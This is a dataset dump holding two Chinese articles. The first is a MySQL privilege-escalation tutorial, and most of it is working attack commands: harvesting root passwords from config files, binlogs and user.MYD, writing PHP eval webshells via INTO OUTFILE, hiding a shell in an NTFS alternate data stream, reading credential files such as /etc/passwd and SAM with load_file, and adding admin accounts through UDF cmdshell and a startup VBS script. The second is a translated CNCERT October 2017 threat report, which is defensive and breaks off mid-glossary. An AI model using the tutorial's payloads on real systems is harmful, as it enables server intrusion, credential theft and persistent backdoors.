text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
MySQL是一个中、小型关系型数据库管理系统，由瑞典MySQL
AB公司开发，目前属于Oracle公司。MySQL是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。MySQL的SQL语言是用于访问数据库的最常用标准化语言。MySQL软件采用了GPL（GNU通用公共许可证），它分为免费版和商业版，由于其体积小、速度快、总体拥有成本低，尤其是开放源码这一特点，一般中小型网站的开发都选择MySQL作为网站数据库。由于其免费版的性能卓越，搭配PHP和Apache可组成良好的开发环境，其官方网站地址<http://www.mysql.com/，MySQL>
分为商业版本（MySQL Enterprise Edition和 MySQL Cluster CGE ）和GPL版本（MySQL Community
Edition），开发版下载地址：<http://dev.mysql.com/downloads/。>
1.1Mysql提权必备条件
1.服务器安装Mysql数据库
利用Mysql提权的前提就是服务器安装了mysql数据库，且mysql的服务没有降权，Mysql数据库默认安装以系统权限继承的，并且需要获取Mysql
root账号密码。
2.判断Mysql服务运行权限
对于Mysql数据库服务运行权限有很多方法，我这里主要介绍三种，一种是通过查看系统账号，也即使用“net
user”命令查看系统当前账号，如果出现了mysql这类用户，以为着系统可能进行了降权，一般情况都不会降权。第二种方法就是看mysqld运行的Priority值，如图1所示。通过aspx的网页木马来查看Process信息，在图中可以看到系统权限的Priority值为“8
”，如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联，一般情况下是不允许root等账号外链，外部直接连接意味着账号可能被截取和嗅探，通过本地客户端直接连接对方服务器，直接查看和操作Mysql数据库，可以通过扫描3306端口来判断是否提供对外连接。
图1查看Priority值来判断Mysqld服务运行权限
1.2Mysql密码获取与破解
1.获取网站数据库账号和密码
对于CMS系统，一定会有一个文件定义了数据库连接的用户和密码。例如以下代码：
$db['default']['hostname'] = 'localhost';
$db['default']['username'] = 'root';
$db['default']['password'] = '123456';
$db['default']['database'] = 'crm';
dedecms数据库安装的信息就是写在data/common.inc.php，Discuz的数据库信息就在config/config_global_default.php、config
/config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录，配置文件名称一般会是conn.asp/php/aspx/jsp等。对于java会在/WEB-INF/config/config.properties中配置，总之通过查看源代码，进行层层分析，终究会发现数据库配置文件。
对于Linux操作系统，除了上述方法获取root账号密码外，还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.6以下版本，由于设计Mysql程序时对于安全性的重视度非常低，用户密码是明文传输。MySQL对于binary
log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified
by这样的携带初始明文密码的指令，那么会在binary log中原原本本的被还原出来，执行“mysqlbinlog
binlog.000001”命令即可获取，如图2所示。
图2查看binlog日志
2.获取Mysql数据库user表
MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server
5.0\data\MYSQL”中，也就是安装程序的data目录下，有关用户一共有三个文件即user.frm、user.MYD和
user.MYI，MYSQL数据库用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。在有权限的情况下可以将User.frm、user.myd和User.myi三个文件下载到本地，通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解。对于Mysql数据库密码如果通过cmd5.com等网站不能查询到密码则需要自己手动破解，有关Mysql数据库密码手动破解，请查阅下一章。
3.Mysql密码查询
可以通过以下查询语句直接查询mysql数据库中的所有用户和密码，如图3所示。
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
图3Mysql密码查询
4.MySQL密码加密算法
MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示：password_str =
concat('*', sha1(unhex(sha1(password))))，可以通过查询语句进行验证，查询结果如图4所示。
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
图4mysql数据库加密算法
1.3Mysql获取webshell
Mysql root账号网站获取webshell具备的条件：
1．知道站点物理路径，网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。
2．有足够大的权限，最好是root账号权限或者具备root权限的其它账号，可以用select user,password from
mysql.user进行测试。
3．magic_quotes_gpc()=OFF。对于PHP
magic_quotes_gpc=on的情况，可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作，数据也会正常显示。
对于PHP magic_quotes_gpc=off
的情况必须使用addslashes()对输入数据进行处理，但并不需要使用stripslashes()格式化输出，因为addslashes()并未将反斜杠一起写入数据库，只是帮助mysql完成了sql语句的执行。
4.直接导出webshell，执行下面语句
Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX值 into outfile '路径';
也可以通过创建表来直接完成，其中d:/www/exehack.php为webshell的名称和路径：
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
5.有些情况下掌握了MSSQL数据库口令，但服务器环境是Windows2008，web环境是PHP，则可以通过SQLTOOLs工具，直接连接命令，通过以下命令写入shell：
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
1.4Mysql渗透有用的一些技巧总结
1.常见的有助于渗透到mysql函数
在对MySQL数据库架构的渗透中，MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息，而load_file()作用是读入文件，并将文件内容作为一个字符串返回，这在渗透中尤其有用，例如发现一个php的SQL注入点，则可以通过构造“-1
union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。
（1）一些常见的系统配置文件
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
（2）直接读取配置文件
SELECT LOAD_FILE('/etc/passwd' )
SELECT LOAD_FILE('/etc/issues' )
SELECT LOAD_FILE('/etc/etc/rc.local' )
SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
（3）Linux下通过load_file函数读出来的数据库有可能是hex编码，要正常查看需要使用NotePad将将以上代码全部选中，然后选择插件“Converter”-“HEX-ASCII”进行转换。
1. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell
NTFS中的ADS（交换数据流）可以建立目录，隐藏webshell等等。
（1） Mysql创建目录
当MySQL版本较高时，自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破：
select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';
会在mysql目录下生成一个lib目录，这样你就可以将你的udf放在这个插件目录下了。
（2）隐藏webshell
在服务器上echo一个数据流文件进去，比如index.php是网页正常文件，我们可以这样子搞：
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
这样子就生成了一个不可见的shell
a.jpg，常规的文件管理器、type命令，dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去，这样子就可以正常解析我们的一句话了。
3.有用的一些技巧
（1）3389端口命令行下获取总结
netstat -an |find "3389" 查看3389端口是否开放
tasklist /svc | find "TermService" 获取对应TermService的PID号
netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号
（2）Windows 2008Server命令行开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
（3）wce64 -w 命令直接获取系统明文登录密码
（4）在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径
（5）Linux终端提示符下查看mysql有关信息，ps -ef|grep mysql
（6）Linux下启动mysql服务: service mysqld start
（7）Linux下查看mysqld是否启动：ps -el | grep mysqld
（8）查看mysql在哪里：whereis mysql
（9）查询运行文件所在路径 which mysql
（10）udf.dll提权常见函数
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
具体用户示例：
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
4.一些常见的Mysql命令
（1）连接到mysql 服务器
mysql -h 192.168.0.1 -u root -pantian365.com antian365
（2）查看所有数据库
show databases;
（3）使用某个数据库
use testdatabase;
（4）查看数据库中的所有表
show tables;
（5）在test数据库下创建一个新的表
create table a (cmd text);
（6）在表中插入内容添加用户命令
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup
administrators 1 /add"",0) " );
（7）查询a表中所有的数据
select * from a
（8）导出数据到系统某个目录下
select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";
（9）查询数据库数据路径
select @@datadir;
（10）查看所有dir路径
SHOW VARIABLES WHERE Variable_Name LIKE "%dir"
（11）查看插件路径
show variables like '%plugins%' ;
（12）查询MYSQL安装路径
select @@basedir
（13）常用内置函数
select system_user() 查看系统用户
select current_user() 查询当前用户
select user(); 查询用户
SELECT version() 查询数据库版本
SELECT database() 查询当前连接的数据库
select @@version_compile_os 查询当前操作系统
select now(); 显示当前时间
（14）获取表结构
desc 表名 或者show columns from 表名
（15）删除表
drop table <表名>
参考文章：
<http://www.jb51.net/hack/41493.html>
<http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/>
<http://www.myhack58.com/Article/html/3/8/2016/75694.htm>
<http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html> | 社区文章 |
# CNCERT互联网安全威胁报告第82期
##### 译文声明
本文是翻译文章，文章原作者 CNCERT，文章来源：CNCERT
原文地址：<http://www.cert.org.cn/publish/main/upload/File/2017monthly10.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 关于国家互联网应急中心（CNCERT）
国家互联网应急中心是国家计算机网络应急技术处理协调中心的简称（英文简称为 CNCERT 或 CNCERT/CC），成立于 2002 年 9
月，为非政府非盈利的网络安全技术中心，是我国网络安全应急体系的核心协调机构。
2003 年，CNCERT 在全国 31 个省（直辖市、自治区）成立分中心。作为国家级应急中心，CNCERT
的主要职责是：按照“积极预防、及时发现、快速响应、力保恢复”的方针，开展互联网网络安全事件的预防、发现、预警和协调处置等工作，维护国家公共互联网安全，保障基础信息网络和重要信息系统的安全运行。
CNCERT 的业务能力如下：
事件发现——依托“公共互联网网络安全监测平台”，开展对基础信息网络、金融证券等重要信息系统、移动互联网服务提供商、增值电信企业等安全事件的自主监测。同时还通过与国内外合作伙伴进行数据和信息共享，以及通过热线电话、传真、电子邮件、网站等接收国内外用户的网络安全事件报告等多种渠道发现网络攻击威胁和网络安全事件。
预警通报——依托对丰富数据资源的综合分析和多渠道的信息获取，实现网络安全威胁的分析预警、网络安全事件的情况通报、宏观网络安全状况的态势分析等，为用户单位提供互联网网络安全态势信息通报、网络安全技术和资源信息共享等服务。应急处置——对于自主发现和接收到的危害较大的事件报告，CNCERT
及时响应
并积极协调处置，重点处置的事件包括：影响互联网运行安全的事件、波及较大范围互联网用户的事件、涉及重要政府部门和重要信息系统的事件、用户投诉造成较大影响的事件，以及境外国家级应急组织投诉的各类网络安全事件等。
测试评估——作为网络安全检测、评估的专业机构，按照“支撑监管，服务社会”
的原则，以科学的方法、规范的程序、公正的态度、独立的判断，按照相关标准为政府部门、企事业单位提供安全评测服务。CNCERT 还组织通信网络安全相关标准制定，
参与电信网和互联网安全防护系列标准的编制等。
同时， 作为中国非政府层面开展网络安全事件跨境处置协助的重要窗口， CNCERT
积极开展国际合作，致力于构建跨境网络安全事件的快速响应和协调处置机制。CNCERT 为国际著名网络安全合作组织 FIRST 正式成员以及亚太应急组织
APCERT 的发起人之一。截止 2016 年，CNCERT 与 69 个国家和地区的 185 个组织建立了“CNCERT 国际合作伙伴”关系。
##
## 版权及免责声明
《CNCERT 互联网安全威胁报告》（以下简称“报告”）为国家计算机网络应急技术处理协调中心（简称国家互联网应急中心，CNCERT 或
CNCERT/CC）的电子刊物，由
CNCERT 编制并拥有版权。报告中凡摘录或引用内容均已指明出处，其版权归相应单位所有。本报告所有权利及许可由 CNCERT 进行管理，未经 CNCERT
同意，任何单位或个人不得将本报告以及其中内容转发或用于其他用途。
CNCERT 力争保证本报告的准确性和可靠性，其中的信息、数据、图片等仅供参考， 不作为您个人或您企业实施安全决策的依据，CNCERT
不承担与此相关的一切法律责任。
##
## 本月网络安全基本态势分析
2017 年 10
月，互联网网络安全状况整体评价为良。我国基础网络运行总体平稳，互联网骨干网各项监测指标正常，未发生较大以上网络安全事件。在我国互联网网络安全环境方面，除木马或僵尸程序控制服务器IP
地址数量、仿冒境内网站的 IP 数量和网络安全事件报告总数较上月有所增长外，其他各类网络安全事件数量均有不同程度的下降。总体上，10
月公共互联网网络安全态势较上月有所好转,但评价指数在良的区间。
### 基础网络安全
2017 年 10
月，我国基础网络运行总体平稳，互联网骨干网各项监测指标正常，未出现省级行政区域以上的造成较大影响的基础网络运行故障，未发生较大以上网络安全事件，但存在一定数量的流量不大的针对互联网基础设施的拒绝服务攻击事件。
### 重要联网信息系统安全
政府网站和金融行业网站仍然是不法分子攻击的重点目标，安全漏洞是重要联网信息系统遭遇攻击的主要内因。本月，监测发现境内政府网站被篡改的数量为 114
个，与上月的 109 个相比增长 4.6%， 占境内被篡改网站的比例由 2.0%上升到 2.2%；境内政府网站被植入后门的数量为 105 个，与上月的
162 个相比下降 35.2%，占境内被植入后门网站的比例由 5.7%下降到 4.8%。；针对境内网站的仿冒页面数量为 1,219 个，较上月的 1,261
个下降 3.3%，这些仿冒页面绝大多数是仿冒我国金融机构和著名社会机构。
本月，国家信息安全漏洞共享平台（CNVD1）共协调处置了
1,540起涉及我国政府部门以及银行、民航等重要信息系统部门以及电信、传媒、公共卫生、教育等相关行业的漏洞事件。这些事件大多数是网站程序存在 SQL
注入、弱口令以及权限绕过等漏洞，也有部分是信息系统采用的应用软件存在漏洞，可能导致获取后台系统管理权限、信息泄露、恶意文件上传等危害，甚至会导致主机存在被不法分子远程控制的风险。
### 公共网络环境安全
2017 年 10 月，根据 CNCERT 的监测数据和通信行业报送数据，我国互联网网络安全环境主要指标情况如下：网络病毒2活动情况方面，
境内感染网络病毒的终端数为 113 万余个，较上月下降 23.5%；在捕获的新增网络病毒文件3中，按网络病毒名称4统计新增 3
个；按恶意代码家族5统计无新增；瑞星公司截获的病毒数量较上月下降 11.1%， 新增病毒数量较上月下降 9.5%；安天公司捕获的样本总数较上月增长
6.4%，新增病毒种类较上月下降 9.4%；猎豹移动报送的计算机病毒事件数量较上月下降 14.0%。网站安全方面，境内被篡改网站数量为 5,163
个，较上月下降 6.0%；境内被植入后门的网站数量为 2,180 个，较上月下降 22.8%；针对境内网站的仿冒页面有 1,219 个，较上月下降
3.3%；各安全企业报送的网页挂马情况中，奇虎 360 公司报送的网页挂马事件数量较上月下降 25.0%。安全漏洞方面，本月
CNVD 共收集整理信息系统安全漏洞 1,364 个，较上月下降 11.3%。其中高危漏洞 347 个，较上月下降
37.0%；可被利用来实施远程攻击的漏洞有 1,104 个，较上月下降 23.0%。事件受理方面，CNCERT 接收到网络安全事件报告 8,998
件，较上月增长了 0.1%，数量最多的分别是漏洞类事件 3,059 件、恶意程序类事件 2,266 件。事件处理方面，
CNCERT 处理了网络安全事件 8,995 件，数量最多的分别是漏洞类事件 3,072 件、恶意程序类事件 2,260 件。
##
## 本月重点网络安全信息
### 通报Bad Rabbit 勒索软件情况
近日，一款名为“Bad Rabbit”（坏兔子）的勒索软件在境外蔓延。
CNCERT 第一时间对该勒索软件进行分析，“Bad
Rabbit”（坏兔子）勒索软件在境外蔓延，目前涉及的国家主要有俄罗斯、乌克兰、德国、土耳其等欧洲国家，受害者包括俄罗斯的国际文传电讯社、乌克兰敖德萨国际机场、乌克兰基辅地铁系统等欧洲多国基础设施。与之前的
“Wannacry”与“Petya”不同，“Bad Rabbit”并未使用漏洞进行传播。攻击者通过攻陷合法网站，在合法网站中植入恶意代码，伪装成Adobe
Flash 升级更新弹窗，诱导用户主动点击下载并手动运行伪装成Adobe Flash 的“Bad
Rabbit”勒索软件。此勒索软件会加密感染者电脑中的文件，并提示受害者支付 0.05 比特币的赎金；此外，该勒索软件会扫描内网 SMB 共享，使用弱密码和
Mimikatz 工具获取登录凭证等手段尝试登录和感染内网其它主机。目前，该勒索软件主要在境外蔓延。
根据CNCERT 监测，10 月 24 日至 10 月 25 日期间，境内仅发现极少量 IP
存在该勒索软件下载以及分发行为。疑似感染地区包括广东、河南、福建与北京。截止到此通报发布日期，我国境内尚未发现规模性感染。尽管此勒索软件并未利用漏洞进行大规模传播，但不排除后续出现利用漏洞进行传播的变种的可能。针对国内互联网用户,
CNCERT 的防护建议如下：1）检查系统中是否存在三个文件之一
（C:Windowsdispci.exe；C:Windowsinfpub.dat；C:Windowscscc.dat），若存在则说明已经感染该勒索软件，请立即清除；2）安装并及时更新杀毒软件产品；3）及时关闭计算机以及网络设备上的
445 和 139 端口；4）及时更新系统安全补丁；5）关闭不必要的网络共享；6） 使用强度较高的密码并定期更换，降低系统密码被破解的风险；7）
不要轻信网站弹窗，请从官方网站或可信渠道下载软件更新；8）定
期在不同的存储介质上备份计算机上的重要文件。
### 通报 DNSmasq 存在多个高危漏洞
近期， CNVD 收录了 DNSmasq
多个安全漏洞6。远程攻击者可在目标系统上执行任意代码、造成服务崩溃或窃取内存敏感信息，影响范围涉及服务器、终端（包括移动终端）操作系统发行版本及相关组件，且当前利用方法已经公开，有可能诱发大规模攻击。CNVD
对上述漏洞的综合评级为“高危”。DNSmasq 2.78
版本已修复了这些漏洞，用户可通过链接：[http://www.thekelleys.org.uk/dnsmasq/自行更新](http://www.thekelleys.org.uk/dnsmasq/%E8%87%AA%E8%A1%8C%E6%9B%B4%E6%96%B0)。如未能更新，可以采用以下临时解决方案：必要情况下，请关闭影响
DNSmasq 安全的配置选项；使用白名单机制，这样可以使 DNSmasq
服务限制访问权限；使用可信的 DNS 服务。
### 通报Microsoft Windows SMB Server 存在远程代码执行漏洞
近日， CNVD 收录了Microsoft Windows SMB Server
远程代码执行漏洞7。远程攻击者成功利用漏洞可允许在目标系统上执行任意代码，如果利用失败将导致拒绝服务。CNVD 对上述漏洞综合评级为
“高危”。微软官方发布了升级补丁修复该漏洞，CNVD 建议用户尽快升级程序，打开 Windows Update 功能，然后点击“检查更新”按钮，
根据业务情况下载安装相关安全补丁，安装完毕后重启服务器，检查系统运行情况。
### 通报WPA2 无线网络组密钥重装漏洞
近日， CNVD 收录了WPA2 无线网络组密钥重装漏洞8。远程攻击者利用该漏洞可实现包括数据包解密和注入、TCP 连接劫持、HTTP
内容注入或单播和组寻址帧的重放攻击。CNVD 对该漏洞的综合评级为“中危”。 目前，已修复该漏洞的厂商如下，CNCERT 建议用户及时下载补丁进行更新。
##
## 本月网络安全主要数据
### 网络病毒监测数据分析
2017 年 10 月，境内感染网络病毒的终端数为 113 万余个。其中， 境内 84 万余个IP 地址对应的主机被木马或僵尸程序控制，与上月的
105 万余个相比下降 19.9%；境内 29 万余个主机IP 感染“飞客”蠕虫， 与 9 月的近 43 万个相比下降 32.2%。
#### 木马僵尸网络监测数据分析
2017 年 10 月，境内 84 万余个 IP 地址对应的主机被木马或僵尸程序控制，按地区分布感染数量排名前三位的分别是浙江省、广东省、河南省。
木马或僵尸网络控制服务器 IP 总数为 9,146 个。其中，境内木马或僵尸程序控制服务器 IP 有 2,680
个，按地区分布数量排名前三位的分别为广东省、江苏省、北京市。境外木马或僵尸程序控制服务器 IP 有 6,466
个，主要分布于美国、德国、日本。其中，位于美国的控制服务器控制了境内 241,309 个主机 IP，控制境内主机 IP 数量居首位，
其次是位于俄罗斯和荷兰的 IP 地址，分别控制了境内 31,294 个和
30,179 个主机 IP。
#### 飞客蠕虫监测数据分析
2017 年 10 月，CNCERT 监测到全球互联网 180 万余个主机 IP
地址感染飞客蠕虫，按国家或地区分布感染数量排名前三位的分别是中国大陆、俄罗斯、印度。
境内感染飞客蠕虫的主机 IP 为 29 万余个，按地区分布感染数量排名前三位的分别是广东省、江苏省、浙江省。
#### 网络病毒捕获和传播情况
2017 年 10 月，CNCERT 捕获了大量新增网络病毒文件，其中按
网络病毒名称统计新增 3 个，网络病毒家族统计无新增。
网络病毒主要针对一些防护比较薄弱，特别是访问量较大的网站通过网页挂马的方式进行传播。当存在安全漏洞的用户主机访问了这些被黑客挂马的网站后，会经过多级跳转暗中连接黑客最终“放马”
的站点下载网络病毒。2017 年 10 月，CNCERT 监测发现排名前十的活跃放马站点域名和活跃放马站点 IP 如表 1 所示。
表 1： 2017 年 10 月活跃放马站点域名和 IP
网络病毒在传播过程中，往往需要利用黑客注册的大量域名。
2017 年 10 月，CNCERT 监测发现的放马站点中，通过域名访问的共涉及有 82 个域名，通过 IP 直接访问的共涉及有 104 个 IP。在 82
个放马站点域名中，于境内注册的域名数为 65 个（约占 73.9%），于境外注册的域名数为 17 个（约占 20.7%），未知注册商属地信息的有 1个（约占
1.2%）。放马站点域名所属顶级域名排名前 5 位的具体情况如表 2 所示。
表 2： 2017 年 10 月活跃恶意域名所属顶级域名
### 网站安全数据分析
#### 境内网站被篡改情况
2017 年 10 月，境内被篡改网站的数量为 5,163
个，境内被篡改网站数量按地区分布排名前三位的分别是广东省、河南省、北京市。按网站类型统计，被篡改数量最多的是.COM
域名类网站，其多为商业类网站；值得注意的是，被篡改的.GOV 域名类网站有 114 个，占境内被篡改网站的比例为 2.2%。
截 10 月 31 日仍未恢复的部分被篡改政府网站9如表 3 所示。
表 3： 截至 10 月 31 日仍未恢复的部分政府网站
#### 境内网站被植入后门情况
2017 年 10 月，境内被植入后门的网站数量为 2,180
个，境内被植入后门的网站数量按地区分布排名前三位的分别是广东省、北京市、河南省。按网站类型统计，被植入后门数量最多的是.COM
域名类网站，其多为商业类网站；值得注意的是，被植入后门的.GOV 域名类网站有 105 个，占境内被植入后门网站的比例为 4.8%。
2017 年 10 月，境外 1,002 个 IP 地址通过植入后门对境内 2,180 个网站实施远程控制。其中，境外 IP
地址主要位于美国、英国和俄罗斯等国家或地区。从境外 IP 地址通过植入后门控制境内网站数量来看，来自俄罗斯的 IP 地址共向境内 330
个网站植入了后门程序， 入侵网站数量居首位；其次是来自乌克兰和美国的 IP
地址，分别向“.gov.cn”的情况。表格中仅列出了被篡改网站或被挂马网站的域名，而非具体被篡改或被挂马的页面URL。
境内 262 个和 222 个网站植入了后门程序。
#### 境内网站被仿冒情况
2017 年 10 月，CNCERT 共监测到针对境内网站的仿冒页面有
1,219 个，涉及域名 1,101 个，IP 地址 444 个，平均每个IP 地址承载近 3 个仿冒页面。在这 444 个IP
中，97.7%位于境外，主要位于中国香港和美国。
### 漏洞数据分析
2017 年 10 月，CNVD 收集整理信息系统安全漏洞 1,364 个。其
中，高危漏洞 347 个，可被利用来实施远程攻击的漏洞有 1104 个。受影响的软硬件系统厂商包括
Adobe、Cisco、Drupal、Google、IBM、
Linux、Microsoft、Mozilla、WordPress 等。
根据漏洞影响对象的类型，漏洞可分为操作系统漏洞、应用程序漏洞、WEB
应用漏洞、数据库漏洞、网络设备漏洞（如路由器、交换机等）和安全产品漏洞（如防火墙、入侵检测系统等）。本月 CNVD
收集整理的漏洞中，按漏洞类型分布排名前三位的分别是应用程序漏洞、WEB 应用漏洞、操作系统漏洞。
### 网络安全事件接收与处理情况
#### 事件接收情况
2017 年 10 月，CNCERT 收到国内外通过电子邮件、热线电话、
网站提交、传真等方式报告的网络安全事件 8,998 件（合并了通过不同方式报告的同一网络安全事件，且不包括扫描和垃圾邮件类事件），其中来自国外的事件报告有
19 件。
在 8,998 件事件报告中，排名前三位的安全事件分别是漏洞、恶意程序、网页仿冒。
#### 事件处理情况
对国内外通过电子邮件、热线电话、传真等方式报告的网络安全事件，以及自主监测发现的网络安全事件，CNCERT
每日根据事件的影响范围和存活性、涉及用户的性质等因素，筛选重要事件进行协调处理。
2017 年 10 月，CNCERT 以及各省分中心共同协调处理了 8,995 件网络安全事件。各类事件处理数量中漏洞、恶意程序类事件处理数量较多。
##
## 附：术语解释
### 信息系统
信息系统是指由计算机硬件、软件、网络和通信设备等组成的以处理信息和数据为目的的系统。
### 漏洞
漏洞是指信息系统中的软件、硬件或通信协议中存在缺陷或不适当的配置， 从而可使攻击者在未授权的情况下访问或破坏系统，导致信息系统面临安全风险。
### 恶意程序
恶意程序是指在未经授权的情况下，在信息系统中安装、执行以达到不正当目的的程序。恶意程序分类说明如下：
#### 特洛伊木马（Trojan Horse）
特洛伊木马（简称木马）是以盗取用户个人信息，甚至是远程控制用户计算机为主要目的的恶意代码。由于它像间谍一样潜入用户的电脑，与战争中的“木马”战术十分相似，因而得名木马。按照功能，木马程序可进一步分为：盗号木马10、网银木马11、窃密木马12、远程控制木马13、流量劫持木马14、下载者木马15和其它木马七类。
#### 僵尸程序（Bot）
僵尸程序是用于构建大规模攻击平台的恶意代码。按照使用的通信协议，僵尸程序可进一步分为：IRC 僵尸程序、Http 僵尸程序、P2P
僵尸程序和其它僵尸程序四类。
#### 蠕虫（Worm）
蠕虫是指能自我复制和广泛传播，以占用系统和网络资源为主要目的的恶意代码。按照传播途径，蠕虫可进一步分为：邮件蠕虫、即时消息蠕虫、U
盘蠕虫、漏洞利用蠕虫和其它蠕虫五类。
#### 病毒（Virus）
病毒是通过感染计算机文件进行传播，以破坏或篡改用户数据，影响信息系统正常运行为主要目的恶意代码。
#### 其它
上述分类未包含的其它恶意代码。
随着黑客地下产业链的发展，互联网上出现的一些恶意代码还具有上述分类中的多重功能属性和技术特点，并不断发展。对此，我们将按照恶意代码的主要用途参照上述定义进行归类。
### 僵尸网络
僵尸网络是被黑客集中控制的计算机群，其核心特点是黑客能够通过一对多的命令与控制信道操纵感染木马或僵尸程序的主机执行相同的恶意行为，如可同时对某目标网站进行分布式拒绝服务攻击，或发送大量的垃圾邮件等。
### 拒绝服务攻击
拒绝服务攻击是向某一目标信息系统发送密集的攻击包，或执行特定攻击操作，以期致使目标系统停止提供服务。
### 网页篡改
网页篡改是恶意破坏或更改网页内容，使网站无法正常工作或出现黑客插入的非正常网页内容。
### 网页仿冒
